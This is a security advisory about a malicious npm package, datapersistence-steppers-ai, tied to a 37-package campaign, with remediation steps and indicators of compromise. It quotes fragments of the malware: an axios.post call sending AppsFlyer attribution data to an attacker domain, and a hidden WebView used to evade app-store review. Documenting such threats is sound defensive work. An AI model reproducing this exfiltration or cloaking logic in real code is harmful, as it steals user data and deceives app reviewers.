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Malicious package

datapersistence-steppers-ainpm

Malicious code in datapersistence-steppers-ai (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6154
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall datapersistence-steppers-ai

What this malware does

The npm package datapersistence-steppers-ai (published by npm user sproger, [email protected]) is a deceptive React Native component and part of a coordinated 37-package campaign across two attacker-controlled domains (surrprisingcoompanny.lol and barbellmate.xyz). On component mount it registers appsFlyer.onInstallConversionData and exfiltrates the app's install/conversion attribution data via axios.post("https://surrprisingcoompanny.lol", data), fetches a remote-config URL, and renders it full-screen in a react-native-webview that is hidden (display:'none') unless the server returns a valid URL — i.e. App Store review-evasion / attribution-laundering ('cloaking'). The package name is a decoy unrelated to its actual function, and the real logic is concealed behind junk 'calculator' functions with Ukrainian-language comments. Indicators of compromise: C2 surrprisingcoompanny.lol, barbellmate.xyz; npm author sproger. Both C2 domains are currently unregistered (dangling-C2 takeover risk for any app still shipping these packages). Reproducible from the published tarball, e.g. [email protected] SocketComponent*.jsx: appsFlyer.onInstallConversionData(...) -> axios.post("https://surrprisingcoompanny.lol", data); axios.get(fLink) remote config; hidden <WebView source={{uri: techResult}}> gated on display:'none'/'flex'.

Malicious versions

1 flagged
1.0.0

Frequently asked questions

No. datapersistence-steppers-ai on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

References

Credits

  • WestBayBerry / dependency-guardian · finder

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Supply-chain protection
datapersistence-steppers-ai (npm) malicious package — MAL-2026-6154 | O3 Security